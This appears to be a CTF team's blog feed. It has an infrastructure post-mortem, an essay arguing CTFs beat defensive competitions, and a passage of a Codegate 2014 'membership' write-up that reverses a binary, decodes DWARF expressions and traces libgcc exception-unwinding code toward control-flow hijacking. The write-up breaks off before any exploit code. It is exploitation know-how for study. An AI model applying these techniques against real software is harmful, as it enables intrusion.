The second issue, and the one that ended up consuming a lot of our time and causing the most frustration, was a strange interaction between nginx and gunicorn. This year we stuck to a pretty standard setup: django + gunicorn + nginx. Unfortunately, due to high load, or other factors that we are still unaware of, gunicorn was hanging on a recvfrom call on its socket. The problem mysteriously fixed itself a couple hours into the competition, but then came back an hour or so later. At that point, we started replacing parts of our infrastructure (e.g. nginx -> Apache, gunicorn -> uwsgi). The working setup ended up being uwsgi + nginx, but it took us a couple of hours to get to this point. Now, the backend worker processes were no longer hanging and the website was mostly working except for some load issues.

As I mentioned above, we had more teams this year than ever before with over 850 teams solving the trivial sanity check key. Once the nginx caching was working properly, we found that we were still overloaded during the voting phases so we brought up another copy of the www server and used an Elastic Load Balancer as the new frontend. I would like to thank Amazon for making its load balancer very easy to setup, use, and monitor. After this, all load issues were resolved and the website continued to be stable for the rest of the competition. We lost IP address information for the majority of the competition because we were not logging the X-Forwarded-For header, but that was a small price for having a working website.

There were two other bugs in the game logic that we fixed over the course of the 48 hours. The first one was an issue with the database transactions in Django. The default isolation level for the postgresql database backend was “Read Committed” which resulted in transaction interleaving and allowing teams to submit the same key multiple times. We resolved the issue by changing the isolation level and enforcing uniqueness of (team_id,problem_key_id) in the database. The other issue was related to the “chance” tiles. During the first half of the competition, it was impossible for the “chance” tile to return something besides “Unlucky!” Once we resolved the problem, we changed the probabilities to compensate for the lost attempts.

All in all, we think the competition went well and we thank everyone for their patience. Every year we try to do something a bit different to keep things interesting and with that comes some untested infrastructure. I assure you that we continue to learn from these mistakes and will continue to work hard to improve the competition for next year.

— awesie on behalf of PPP

Why CTF

Tue, 01 Apr 2014 00:00:00 +0000

A recent blog post has been going around talking about the differences between competitions like CCDC (Collegiate Cyber Defense Competition) and CTFs (Capture the Flag). It’s a good read and I thought a lot of interesting points were brought up, and figured it could be beneficial to try to respond to them some place to encourage discussion (and besides, our blog needs any excuse it can get for new content). For what it’s worth, I didn’t watch Chris Eagle’s presentations, though I imagine I don’t agree with everything he said. Likewise, I don’t disagree with everything from Matt Weeks’ blog post. This post is mostly motivated by the fact that while a discussion on security competitions is going, it makes sense to talk about some related things I have been thinking about.

First off, as many of you probably know, the Plaid Parliament of Pwning has not played in purely defensive exercises. To those that may say “well aren’t you going to be biased towards capture the flag events?”, I answer “almost certainly”. I’m not going to say CCDC is worthless and CTFs are the epitome of security education, but my claim is that CTFs provide a much better platform and environment for players learning about a broad range of security topics. Further, I’m going to use the term CCDC when I suppose in general I mean “defensive security competition”. This probably means I will muddle some specific details.

Problem Solving

Fundamentally, CTFs are about problem solving. Although I know defensive competitions have many problems that their competitors have to deal with, I believe CTFs intrinsically allow for more “out of the box” thinking. Let’s start with rules. Most CTF competitions are pretty loose in this respect: maybe team size is limited, challengers aren’t allowed to share answers, and attacking game infrastructure is forbidden, but that’s about it. The nature of defensive competitions means they can’t be so simple. Although the rules for CCDC aren’t too bad, the rule book for the CyberPatriot competition is over one hundred pages long. There’s a reason for this: there are “easy solutions” that would break these competitions. What if you block malicious network blocks? set up a honey pot? rewrite services to be bug free? delete user accounts only the red team is using? proxy all traffic through an IPS? upgrade Windows XP boxes to Windows 7? run separate services in sandboxes?

Yes, not all of these options are feasible in the real world in every scenario: they may be expensive, or constrained by some other resources. But what is the lesson here? If you are put in a real world situation, do all these solutions become blocked just like in a competition? Of course not! You need to evaluate the merits and consequences of each one and decide for yourself. In most defense competitions, these decisions are made for you, and that limits your abilities to think out of the box. In many cases teams that succeed at CCDC do so because they manage to get as out of the box as possible. This ends up meaning they “game the game” rather than make good security practices. For example, maybe you aren’t allowed to delete users on a system, because in the real world that would restrict the abilities of legitimate users to access the system. Fine, change all their passwords to a 100 character hex string. The real world value of this isn’t any better, but it is more acceptable to do in CCDC.

In a Capture the Flag contest, just about anything goes. Over the years I’ve seen crazy hacks to get things working and working quickly: dumping memory by patching in a jump to MessageBox, reverse image searching to find plausible ECC bits for broken QR codes, forcing a core dump and using a file carver to extract files from obfuscated programs… The type of thinking and problem solving promoted by CTFs is fundamental to what it means to be a security researcher.

Feedback

When reading through some comments about the CCDC post, I came across someone complaining about the lack of transparency in CCDC. Although this may not be a universally held opinion, it doesn’t apply to Capture the Flag events. Let’s look closely at the procedure for earning points in both:

==========

Scoring system in CTF

Solve problem
Submit answer to score server
Observe scoreboard adding points (or not)

==========

Scoring system in CCDC

Maintain service uptime and fend off the Red Team
Complete “injects” (business tasks)
Write reports documenting injects and attacks
Submit reports to organizers to get points,reduce deductions
Wait until end of competition to see final standings

==========

Okay, so why is this important? First, scoring in a CTF is objective — there are no reports to be read and graded, and instant feedback to verify the system works correctly. What this means is CTF problem solving can be an iterative process: attempt a solution in a particular way, see the results, and modify your behavior accordingly. If you read about the importance of feedback in learning, you’ll notice a few things CTFs do right: feedback is immediate, feedback is individual (both on a problem and team basis), and feedback isn’t final (if you get a flag wrong, try, try again).

Let’s contrast this with a defense competition. Feedback is not immediate at all: sometimes a team standing is updated daily, and sometimes not until the end of the competition! Feedback is not granular: your team might get a final score at the end of the competition, but it’s not clear where your points came from. Even if points are broken down by advisories, SLA, and so forth, it’s not clear which actions are being re-enforced. Finally, feedback isn’t iterative. Although you may be able to fill out a form to request a regrade on a report, you can’t just submit a bunch of reports and use the best one.

One might argue: the real world doesn’t provide immediate feedback, isn’t objective, and isn’t always fair, so defense competitions are a better approximation of real scenarios! There is a lot of truth to this: CTFs aren’t depicting day-to-day scenarios of system administrators or work in a security operations center. But you know what? That’s kind of the whole point, and what makes CTFs fun.

Fun

I’ll admit outright, “fun” is clearly not universal. I know people out there thinks blocking exploits is far more fun than throwing them, but let’s be honest, this isn’t a popular opinion. Heck, even the NCCDC website talks about how much cooler the Red Team is than the contestants. Again, “well the real world isn’t always fun”. Fine. But if your goal is to encourage people to learn and try new things, is the best way to do it really to throw them into the middle of a hostile network, or would it be better to give them fun tasks that guide them through the learning process?

Jeopardy style CTFs are a lot of fun. They’re relaxing, you sit down and solve problems. Does this emulate high stress-real world scenarios in hostile networks? No, but that’s not a fun learning environment. DefconCTF is not a place for beginners. I am not sure how someone could argue that a teaching method that is less fun could ever be superior.

Of course, not all people like breaking things. That’s fine. Capture the Flags aren’t always about binary exploitation. There are plenty of forensics, programming, cryptography, and other skills that involve building things. The only skills that CCDC has which I have not seen in a CTF are writing reports and running updates. Looking for backdoors and malicious software, finding intrusions in log files, changing default settings and modifying web applications are all things that have shown up in CTFs (though I admit those aren’t the kind of tasks that I enjoy).

The “1%”

One of the points that struck me on the blog post regarding CCDC was the idea of appealing to the “1%”. Restated simply, the claim is that CCDC makes use of skills that 99% of security workers will use while CTFs really only teach 1% of relevant skills. The numbers aren’t really important here, but the sentiment is. Skills like writing reports, reviewing log files, and running updates are the sort of skills most “security workers” will use. Blech. What is that really saying? To get a job as a security worker I don’t need to understand ASLR bypass techniques, NTFS alternate data streams, or CBC Padding Oracle attacks? Yes, that is probably true! That writing a report is more valuable than understanding modern offensive security? Perhaps! But personally, I think that if CCDC claimed the reason it is a superior platform to CTFs is because it involves writing more reports and running Windows update, people would start losing interest. Why not just participate in a technical writing contest? Do we really need a contest which stresses the most mundane aspects of security?

It is probably worth mentioning that some CTFs also require contestants write up solutions. In one instance of RuCTF (2009), players could receive points for patches or writeups of vulnerabilities. Many CTFs with prizes or final rounds also require a writeup be submitted from teams that place. Some competitions also give separate prizes for highest points/first to complete challenges, and best writeup. Still, I think it is fair to say that writing reports is stressed much more in CCDC than CTF events, for better or for worse.

The fact of the matter is that students wanting to learn security are told they should participate in competitions like CCDC. And sure, security is heavily involved in these competitions, but not at the same level as in CTFs. If someone wants to learn about security, I think it’s pretty clear a CTF is a better avenue than a defensive contest. This is important to me because I often come across people who want to get jobs in security and so they play in CCDC. Although I think it’s wonderful for them to take that initiative, I can’t help but feel that their time would be much better spent playing a CTF.

One thing I have heard oft repeated which I whole-heartedly agree with is that in defense, you are always playing catch up. Unless you think as an attacker, you can only react to known vulnerabilities, and so you are always a step behind. The CCDC approach seems to be to focus on defense, and to succeed you will probably learn something about attacks; the CTF approach is that you should focus on attacks, as the defense comes naturally afterwards. I would posit that the top CTF players would be better suited to defending a network against advanced attackers than the top CCDC players for precisely this reason.

Aside from all this, I think everyone would be much safer if security professionals knew more about the 1% that they so rarely see. Maybe if the person reading the IDS logs knew more about writing polymorphic shellcode than what is in Metasploit, they’d be better prepared to prevent threats more advanced than someone using Shikata ga nai.

Conclusion

Both CCDC and CTFs address different goals. As far as I can tell, CCDC’s goal is to assess how well someone can administrate and document systems, while CTFs focus on teaching security. Both of these have their place. But telling fledgling security professionals the better way to learn is through CCDC seems dishonest, and forces them into a niche they might not enjoy. Although the skills taught in CTFs are not always used day-to-day, they cover a far broader range of security topics that are relevant to anyone working in the security field. As someone who tries to promote the value of CTFs, it’s important to me that those interested in security education recognize that CTFs are an incredibly powerful and should be encouraged where possible.

-tylerni7

membership

Thu, 27 Feb 2014 00:00:00 +0000

This is a write-up for 800 point pwnable challenge called “membership” from Codegate CTF 2014 Pre-qual round. PPP was the only solver for this challenge during the competition, so I have decided to do a write-up for the challenge. Enjoy. (awesie and ricky solved it during the competition.)

If you have any trouble with poor formatting here, you can read the original post at this blog.

Challenge overview

You can download the copy of the binary here. During the competition, we could ssh into one of their machines to exploit and read the flag.

$ file membership
membership: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0c19bb6578cf047d8f3150628d1d82d4a205ea1d, stripped

As you can see, it’s a 32-bit ELF binary. So, let’s open it up in IDA and start reversing.

The program looks really simple. It just installs a couple signal handlers (specifically for SIGSEGV and SIGFPE) and calls a main (interesting) function, where it prompts us for the userid and password. Then, the program calculates SHA256 hash of the given password and compares with the stored hash. If the password hashes do not match, a runtime error exception is thrown and the program is aborted. If we pass in the correct password, we get a shell :)

Since guessing the correct password or cracking the hash is not viable option for us, we try to locate some other bugs that can be useful.

{
  int v0; // ebx@4
  char v2; // [sp+18h] [bp-10h]@4
  char v3; // [sp+1Fh] [bp-9h]@4

  memset(&unk_804B120, 0, 0xB0u);
  write(1, "userid :: ", 0xAu);
  fgets(userid_buf, 16, stdin);
  write(1, "password :: ", 0xCu);
  fgets(password_buf, 16, stdin);
  SHA256_Init(&unk_804B120);
  SHA256_Update(&unk_804B120, password_buf, 15);
  SHA256_Final((int)my_pw_hash, (int)&unk_804B120);
  if ( strlen(password_buf) &gt;= 0xF )
    ::v0 = 0;
    // mov eax, 0
    // mov dword ptr [eax], 0

  if ( memcmp(my_pw_hash, pw_hash, 0x21u) )
  {
    v0 = __cxa_allocate_exception(8);
    std::allocator&lt;char&gt;::allocator(&v3);
    std::string::string(&v2, "access denied", &v3);
    std::runtime_error::runtime_error(v0, &v2);
    std::string::~string(&v2);
    std::allocator&lt;char&gt;::~allocator(&v3);
    __cxa_throw(v0, &`typeinfo for'std::runtime_error, (const char *)&std::runtime_error::~runtime_error);
  }
  return execlp("/bin/sh", "/bin/sh", 0);
}

As highlighted above, the program dereferences a null pointer (*0 = 0) if the length of the password is greater than or equal to 16 bytes. Obviously it is going to trigger SIGSEGV, but do you remember what we said earlier about installing the signal handlers? And yes, one of them was SIGSEGV handler.

So, instead of crashing it miserably, the handler will be called. Let’s examine what this handler does.

Now, if we look at the SIGSEGV_handler, we may think it doesn’t really do anything useful. Note that it just fills up exception information and calls cxa_throw to throw exception.

void __noreturn SIGSEGV_handler()
{
  int v0; // ebx@1
  char v1; // [sp+18h] [bp-10h]@1
  char v2; // [sp+1Fh] [bp-9h]@1

  v0 = __cxa_allocate_exception(8);
  std::allocator&lt;char&gt;::allocator(&v2);
  std::string::string(&v1, "Segmentation fault", &v2);
  std::runtime_error::runtime_error(v0, &v1);
  std::string::~string(&v1);
  std::allocator&lt;char&gt;::~allocator(&v2);
  __cxa_throw(v0, &`typeinfo for'std::runtime_error, (const char *)&std::runtime_error::~runtime_error);
}

At this point, we could go on and explain what SIGFPE_handler does as well, but we’ll skip it since it’s not that interesting and is not needed for a successful exploitation. You may ask — so, what’s left?

Vulnerability

Notice that this is a C++ program with exception throwing. We should check how C++ exception handling works.

It uses a thing called, DWARF, which is a standardized debugging data format for unwinding the stack and handling exceptions.

There was a CTF problem in the past that involved DWARF (called Khazad from Ghost in the Shellcode 2012): Check out these write-ups if you are interested!

Anyways, you can find DWARF information can be displayed by using binutils such as objdump or readelf:

$ readelf -w membership
Contents of the .eh_frame section:

00000000 00000014 00000000 CIE
  Version:               1
  Augmentation:          "zR"
  Code alignment factor: 1
  Data alignment factor: -4
  Return address column: 8
  Augmentation data:     1b

  DW_CFA_def_cfa: r4 (esp) ofs 4
  DW_CFA_offset: r8 (eip) at cfa-4
  DW_CFA_nop
  DW_CFA_nop

...
(omitted)
...

0000010c 00000070 000000f8 FDE cie=00000018 pc=08048fa7..0804904d
  Augmentation data:     0c 98 04 08

  DW_CFA_advance_loc: 1 to 08048fa8
  DW_CFA_def_cfa_offset: 8
  DW_CFA_offset: r5 (ebp) at cfa-8
  DW_CFA_advance_loc: 2 to 08048faa
  DW_CFA_def_cfa_register: r5 (ebp)
  DW_CFA_advance_loc: 5 to 08048faf
  DW_CFA_offset: r6 (esi) at cfa-12
  DW_CFA_offset: r3 (ebx) at cfa-16
  DW_CFA_val_expression: r8 (eip) (DW_OP_addr: 804b1b0; DW_OP_deref; DW_OP_const4u: 50598931; DW_OP_const4u: 1616928864; DW_OP_plus; DW_OP_ne; DW_OP_bra: 50; DW_OP_addr: 804b1b4; DW_OP_deref; DW_OP_const4u: 84480008; DW_OP_const4u: 1616928864; DW_OP_plus; DW_OP_ne; DW_OP_bra: 29; DW_OP_addr: 804b1c1; DW_OP_deref; DW_OP_const4u: 8; DW_OP_shr; DW_OP_const4u: 4206257; DW_OP_ne; DW_OP_bra: 8; DW_OP_addr: 8048cbc; DW_OP_skip: 5; DW_OP_addr: 8048f18)
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

...
(omitted)
...

Take a close look at the entry with “pc=08048fa7..0804904d”. This entry basically describes what should happen when the exception is thrown between that PC range. Note that the SIGSEGV_handler throws an exception at 0x0804901A , which is in that range (that range is precisely SIGSEGV_handler function).

Ok. Now, we have to make sense of what all those operations mean :) DW_CFA_val_expression contains CFA expressions that are defined here.

Luckily, it’s not that hard to understand the expressions. We can simply think of it as a stack machine:

DW_OP_addr: 804b1b0         // push 0x804b1b0 (this is userid_buf)
DW_OP_deref                 // dereference in-place
DW_OP_const4u: 50598931     // push 50598931
DW_OP_const4u: 1616928864   // push 1616928864
DW_OP_plus                  // add =&gt; hex(50598931 + 1616928864)[2:].decode('hex') =&gt; 'cdts'
DW_OP_ne                    // compare not equal
DW_OP_bra: 50               // branch to END
DW_OP_addr: 804b1b4         // push 0x804b1b4 (this is userid_buf+4)
DW_OP_deref                 // dreference in-place
DW_OP_const4u: 84480008     // push 84480008
DW_OP_const4u: 1616928864   // push 1616928864
DW_OP_plus                  // add =&gt; hex(8448008 + 1616928864)[2:].decode('hex') ==&gt; 'eiph'
DW_OP_ne                    // compare not equal
DW_OP_bra: 29               // branch to END
DW_OP_addr: 804b1c1         // push 0x804b1c1 (this is password_buf+1)
DW_OP_deref                 // dereference in-place
DW_OP_const4u: 8            // push 8
DW_OP_shr                   // shift right (*0x804b1c1 by 8)
DW_OP_const4u: 4206257      // push 4206257 =&gt; 0x402eb1
DW_OP_ne                    // compare not equal
DW_OP_bra: 8                // branch to END
DW_OP_addr: 8048cbc         // push 0x8048cbc
DW_OP_skip: 5               // skip 5
DW_OP_addr: 8048f18         // push 0x8048f18  (this is END)

So, in short, it checks if the username is “stdchpie” and the password[2:5] is equal to “\xb1\x2e\x40”. If any of the condition fails, it transfers execution to 0x8048f18, which does exit(0).

What happens if we satisfy the conditions? Good question. It basically dumps us to the following code:

.text:08048CE8                 mov     [esp], eax
.text:08048CEB                 call    ___cxa_begin_catch
.text:08048CF0                 mov     dword ptr [esp], offset aNested ; "nested"
.text:08048CF7                 call    _puts
.text:08048CFC                 mov     eax, (offset password_buf+1)
.text:08048D01                 mov     eax, [eax]
.text:08048D03                 mov     edx, (offset password_buf+1)
.text:08048D08                 mov     edx, [edx+4]
.text:08048D0B                 mov     [eax], edx
.text:08048D0D                 call    ___cxa_end_catch
.text:08048D12                 jmp     short loc_8048CC0

This code prints out “nested” string and writes password[5:9] to *password[1:5]. Meaning, we get to write anything in 0x402eb1?? address space with any 4 byte value we choose. 4-byte write is pretty strong tool in exploitation, but when we are limited to 256 byte range, it’s difficult to make it useful. Also, it immediately jumps to 0x8048cc0 , where it does another null pointer dereference causing SIGSEGV to happen — thus, we get infinite “nested” string printed out.

Alright. Let’s summarize what we know and have so far.

We can trigger a null pointer dereference, causing SIGSEGV handler to get executed (and thus, DWARF CFA expressions), by sending a password that’s >= 16 bytes.
With carefully constructed password, we can overwrite any 4-byte value to any address in between 0x402eb100 and 0x402eb1ff.

The natural question is, then, what is mapped on that memory address? With ulimit -s unlimited,

(gdb) info proc map
process 6207
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804a000     0x2000        0x0 /tmp/.ppp/membership
         0x804a000  0x804b000     0x1000     0x1000 /tmp/.ppp/membership
         0x804b000  0x804c000     0x1000     0x2000 /tmp/.ppp/membership
        0x40000000 0x40020000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.17.so

... (omitted) ...

        0x402cf000 0x402ea000    0x1b000        0x0 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402ea000 0x402eb000     0x1000    0x1a000 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402eb000 0x402ec000     0x1000    0x1b000 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402ec000 0x4049a000   0x1ae000        0x0 /lib/i386-linux-gnu/libc-2.17.so
        0x4049a000 0x4049c000     0x2000   0x1ae000 /lib/i386-linux-gnu/libc-2.17.so
        0x4049c000 0x4049d000     0x1000   0x1b0000 /lib/i386-linux-gnu/libc-2.17.so
        0x4049d000 0x404a0000     0x3000        0x0
        0x404a0000 0x404a3000     0x3000        0x0 /lib/i386-linux-gnu/libdl-2.17.so

... (omitted) ...

        0xbffdf000 0xc0000000    0x21000        0x0 [stack]

As we can see above (highlighted), the address range falls into libgcc’s memory — specifically, it matched portion of its .bss section.

So, what is there in libgcc_s.so.1, you ask.

Precisely, this.

And that’s it.

At this point, we downloaded and opened up libgcc source code to look at where some of these data structures are used, and tried to look for ways to get an EIP control.

So the journey begins.

libgcc source code analysis

Note that this step took the longest since we had to actually understand part of the gcc code when it does stack unwinding and handling the exception.

You can download the source for gcc here (gcc-4.8.1, Ubuntu 13.01).

During the competition, we chose each data structure of interest and traced backwards to find out whether by controlling said structure we can influence anything (e.g. function pointer) on callers while handling exceptions to hijack the control flow.

Since we now know which one can be used to control EIP, we will start from there: frame_hdr_cache_head is our target. [It is very well be possible to solve the challenge with different method/structure, but this is the one that we ended up using during the CTF.]

If we locate the place that frame_hdr_cache_head is referenced, we land in the middle of _Unwind_IteratePhdrCallback function in libgcc/unwind-dw2-fde.dip.c.

... (omitted) ...
      /* Find data-&gt;pc in shared library cache.
         Set load_base, p_eh_frame_hdr and p_dynamic
         plus match from the cache and goto
         "Read .eh_frame_hdr header." below.  */

      struct frame_hdr_cache_element *cache_entry;

      for (cache_entry = frame_hdr_cache_head;
           cache_entry;
           cache_entry = cache_entry-&gt;link)
        {
          if (data-&gt;pc &gt;= cache_entry-&gt;pc_low
          && data-&gt;pc &lt; cache_entry-&gt;pc_high)
        {
          load_base = cache_entry-&gt;load_base;
          p_eh_frame_hdr = cache_entry-&gt;p_eh_frame_hdr;
          p_dynamic = cache_entry-&gt;p_dynamic;

          /* And move the entry we're using to the head.  */
          if (cache_entry != frame_hdr_cache_head)
            {
              prev_cache_entry-&gt;link = cache_entry-&gt;link;
              cache_entry-&gt;link = frame_hdr_cache_head;
              frame_hdr_cache_head = cache_entry;
            }
          goto found;
        }
... (omitted) ...

frame_hdr_cache_head points to the first element of a singly linked list that contains frame_hdr_cache_element(s).

The code iterates through the list and finds the entry for data->pc in cache. data->pc is the program counter of the frame we are trying to handle the exception for.

This cache is filled in as the program discovers exception handler frames (eh_frame).

The following is the struct definition for frame_hdr_cache_element:

static struct frame_hdr_cache_element
{
  _Unwind_Ptr pc_low;
  _Unwind_Ptr pc_high;
  _Unwind_Ptr load_base;
  const ElfW(Phdr) *p_eh_frame_hdr;
  const ElfW(Phdr) *p_dynamic;
  struct frame_hdr_cache_element *link;
} frame_hdr_cache[FRAME_HDR_CACHE_SIZE];

So, if we control where frame_hdr_cache_head points to, we can also construct/control the elements inside. Before we dive into what happens when we find an element in the cache and goto found, let’s step back for a minute and see if we can even get to here and what that allows us to do.

The function we just looked at (_Unwind_IteratePhdrCallback) is called from _Unwind_Find_FDE in unwind-dw2-fde-dip.c. Then, _Unwind_Find_FDE function is called from uw_frame_state_for function in unwind-dw2.c. uw_frame_state_for function is called from _Unwind_RaiseException function in unwind.inc, which provides an interface to raise an exception given an exception object.

Where does _Unwind_RaiseException get called, then? It gets called by __cxa_throw, and if you remember, our SIGSEGV_handler invokes this function to raise an exception.

Alright. We now have confirmed that we can get to that code by causing the binary to throw an exception and letting libgcc unwinds/handles the exception.

But is there anything interesting in this code path such that we can give us EIP control? Yes.

Let’s review _Unwind_RaiseException a little bit:

... (omitted) ...
/* Raise an exception, passing along the given exception object.  */

_Unwind_Reason_Code LIBGCC2_UNWIND_ATTRIBUTE
_Unwind_RaiseException(struct _Unwind_Exception *exc)
{
  struct _Unwind_Context this_context, cur_context;
  _Unwind_Reason_Code code;

  /* Set up this_context to describe the current stack frame.  */
  uw_init_context (&this_context);
  cur_context = this_context;

  /* Phase 1: Search.  Unwind the stack, calling the personality routine
     with the _UA_SEARCH_PHASE flag set.  Do not modify the stack yet.  */
  while (1)
    {
      _Unwind_FrameState fs;

      /* Set up fs to describe the FDE for the caller of cur_context.  The
         first time through the loop, that means __cxa_throw.  */
      code = uw_frame_state_for (&cur_context, &fs);

      if (code == _URC_END_OF_STACK)
        /* Hit end of stack with no handler found.  */
        return _URC_END_OF_STACK;

      if (code != _URC_NO_REASON)
        /* Some error encountered.  Usually the unwinder doesn't
           diagnose these and merely crashes.  */
        return _URC_FATAL_PHASE1_ERROR;

      /* Unwind successful.  Run the personality routine, if any.  */
      if (fs.personality)
        {
          code = (*fs.personality) (1, _UA_SEARCH_PHASE, exc-&gt;exception_class,
                                    exc, &cur_context);
          if (code == _URC_HANDLER_FOUND)
            break;
          else if (code != _URC_CONTINUE_UNWIND)
            return _URC_FATAL_PHASE1_ERROR;
        }

      /* Update cur_context to describe the same frame as fs.  */
      uw_update_context (&cur_context, &fs);
    }

  /* Indicate to _Unwind_Resume and associated subroutines that this
     is not a forced unwind.  Further, note where we found a handler.  */
  exc-&gt;private_1 = 0;
  exc-&gt;private_2 = uw_identify_context (&cur_context);

  cur_context = this_context;
  code = _Unwind_RaiseException_Phase2 (exc, &cur_context);
  if (code != _URC_INSTALL_CONTEXT)
    return code;

  uw_install_context (&this_context, &cur_context);
}
... (omitted) ...

Notice the highlighted lines. What do you see?

A function pointer getting called! And we *may* be able to control fs.personality. Let’s find out!

... (omitted) ...
/* Given the _Unwind_Context CONTEXT for a stack frame, look up the FDE for
   its caller and decode it into FS.  This function also sets the
   args_size and lsda members of CONTEXT, as they are really information
   about the caller's frame.  */

static _Unwind_Reason_Code
uw_frame_state_for (struct _Unwind_Context *context, _Unwind_FrameState *fs)
{
  const struct dwarf_fde *fde;
  const struct dwarf_cie *cie;
  const unsigned char *aug, *insn, *end;

  memset (fs, 0, sizeof (*fs));
  context-&gt;args_size = 0;
  context-&gt;lsda = 0;

  if (context-&gt;ra == 0)
    return _URC_END_OF_STACK;

  fde = _Unwind_Find_FDE (context-&gt;ra + _Unwind_IsSignalFrame (context) - 1,
                          &context-&gt;bases);
  if (fde == NULL)
    {
#ifdef MD_FALLBACK_FRAME_STATE_FOR
      /* Couldn't find frame unwind info for this function.  Try a
         target-specific fallback mechanism.  This will necessarily
         not provide a personality routine or LSDA.  */
      return MD_FALLBACK_FRAME_STATE_FOR (context, fs);
#else
      return _URC_END_OF_STACK;
#endif
    }

  fs-&gt;pc = context-&gt;bases.func;

  cie = get_cie (fde);
  insn = extract_cie_info (cie, context, fs);
  if (insn == NULL)
    /* CIE contained unknown augmentation.  */
    return _URC_FATAL_PHASE1_ERROR;

... (omitted) ...

Remember that the struct pointer that we are interested in tracing is fs (aka 2nd argument). Wee see here that _Unwind_Find_FDE is used to get fde (which is used to get cie), and extract_cie_info takes cie and fs as its first and third argument, respectively.

So, what happens in extract_cie_info?

... (omitted) ...
/* Extract any interesting information from the CIE for the translation
  unit F belongs to.  Return a pointer to the byte after the augmentation,
  or NULL if we encountered an undecipherable augmentation.  */
 381
static const unsigned char *
extract_cie_info (const struct dwarf_cie *cie, struct _Unwind_Context *context,
                 _Unwind_FrameState *fs)
{
 const unsigned char *aug = cie-&gt;augmentation;
 const unsigned char *p = aug + strlen ((const char *)aug) + 1;
 const unsigned char *ret = NULL;
 _uleb128_t utmp;
 _sleb128_t stmp;
 391
 /* g++ v2 "eh" has pointer immediately following augmentation string,
    so it must be handled first.  */
 if (aug[0] == 'e' && aug[1] == 'h')
   {
     fs-&gt;eh_ptr = read_pointer (p);
     p += sizeof (void *);
     aug += 2;
   }

... (omitted) ...

     /* "P" indicates a personality routine in the CIE augmentation.  */
     else if (aug[0] == 'P')
       {
         _Unwind_Ptr personality;
 458
         p = read_encoded_value (context, *p, p + 1, &personality);
         fs-&gt;personality = (_Unwind_Personality_Fn) personality;
         aug += 1;
       }

... (omitted) ...

Cool. extract_cie_info parses cie and updates fs->personality. We’ll work out the details later.

Okay, now, we have to look into _Unwind_Find_FDE function to find out what it returns (fde) is:

... (omitted) ...

const fde *
_Unwind_Find_FDE (void *pc, struct dwarf_eh_bases *bases)
{
  struct unw_eh_callback_data data;
  const fde *ret;

  ret = _Unwind_Find_registered_FDE (pc, bases);
  if (ret != NULL)
    return ret;

  data.pc = (_Unwind_Ptr) pc;
  data.tbase = NULL;
  data.dbase = NULL;
  data.func = NULL;
  data.ret = NULL;
  data.check_cache = 1;

  if (dl_iterate_phdr (_Unwind_IteratePhdrCallback, &data) &lt; 0)
    return NULL;

  if (data.ret)
    {
      bases-&gt;tbase = data.tbase;
      bases-&gt;dbase = data.dbase;
      bases-&gt;func = data.func;
    }
  return data.ret;
}

... (omitted) ...

As we discussed earlier, _Unwind_Find_FDE calls _Unwind_IteratePhdrCallback, which fills the data struct. Then, it returns data.ret.

Whoa. After that chain of functions, we now came back to where we started — _Unwind_IteratePhdrCallback.

Warning: This is a really long function :p

To show a good idea of the call stack, here’s a diagram:

Fortunately, we do not have to look at all of its details. As we learned earlier, the cache for eh_frame_hdr is looked up and the following is performed in case the entry was found:

... (omitted) ...

found:
310
 if (!p_eh_frame_hdr)
   return 0;
313
 /* Read .eh_frame_hdr header.  */
 hdr = (const struct unw_eh_frame_hdr *)
   __RELOC_POINTER (p_eh_frame_hdr-&gt;p_vaddr, load_base);
 if (hdr-&gt;version != 1)
   return 1;
319

... (omitted) ...

352
 p = read_encoded_value_with_base (hdr-&gt;eh_frame_ptr_enc,
                                   base_from_cb_data (hdr-&gt;eh_frame_ptr_enc,
                                                      data),
                                   (const unsigned char *) (hdr + 1),
                                   &eh_frame);
358
 /* We require here specific table encoding to speed things up.
    Also, DW_EH_PE_datarel here means using PT_GNU_EH_FRAME start
    as base, not the processor specific DW_EH_PE_datarel.  */
 if (hdr-&gt;fde_count_enc != DW_EH_PE_omit
     && hdr-&gt;table_enc == (DW_EH_PE_datarel | DW_EH_PE_sdata4))
   {
     _Unwind_Ptr fde_count;
366
     p = read_encoded_value_with_base (hdr-&gt;fde_count_enc,
                                       base_from_cb_data (hdr-&gt;fde_count_enc,
                                                          data),
                                       p, &fde_count);
     /* Shouldn't happen.  */
     if (fde_count == 0)
       return 1;
     if ((((_Unwind_Ptr) p) & 3) == 0)
       {
         struct fde_table {
           signed initial_loc __attribute__ ((mode (SI)));
           signed fde __attribute__ ((mode (SI)));
         };
         const struct fde_table *table = (const struct fde_table *) p;
         size_t lo, hi, mid;
         _Unwind_Ptr data_base = (_Unwind_Ptr) hdr;
         fde *f;
         unsigned int f_enc, f_enc_size;
         _Unwind_Ptr range;
386
         mid = fde_count - 1;
         if (data-&gt;pc &lt; table[0].initial_loc + data_base)
           return 1;
         else if (data-&gt;pc &lt; table[mid].initial_loc + data_base)
           {
             lo = 0;
             hi = mid;
394
             while (lo &lt; hi)
               {
                 mid = (lo + hi) / 2;
                 if (data-&gt;pc &lt; table[mid].initial_loc + data_base)
                   hi = mid;
                 else if (data-&gt;pc &gt;= table[mid + 1].initial_loc + data_base)
                   lo = mid + 1;
                 else
                   break;
               }
405
             gcc_assert (lo &lt; hi);
           }
408
         f = (fde *) (table[mid].fde + data_base);
         f_enc = get_fde_encoding (f);
         f_enc_size = size_of_encoded_value (f_enc);
         read_encoded_value_with_base (f_enc & 0x0f, 0,
                                       &f-&gt;pc_begin[f_enc_size], &range);
         if (data-&gt;pc &lt; table[mid].initial_loc + data_base + range)
           data-&gt;ret = f;
         data-&gt;func = (void *) (table[mid].initial_loc + data_base);
         return 1;
       }
   }

... (omitted) ...

Note that data->ret is set to f on line 415, where f is a FDE pointer found by performing binary search.

Comments from unwind-dw2-fde.h briefly describes FDE & CIE lookup:

/* Terminology:
   CIE - Common Information Element
   FDE - Frame Descriptor Element

   There is one per function, and it describes where the function code
   is located, and what the register lifetimes and stack layout are
   within the function.

   The data structures are defined in the DWARF specification, although
   not in a very readable way (see LITERATURE).

   Every time an exception is thrown, the code needs to locate the FDE
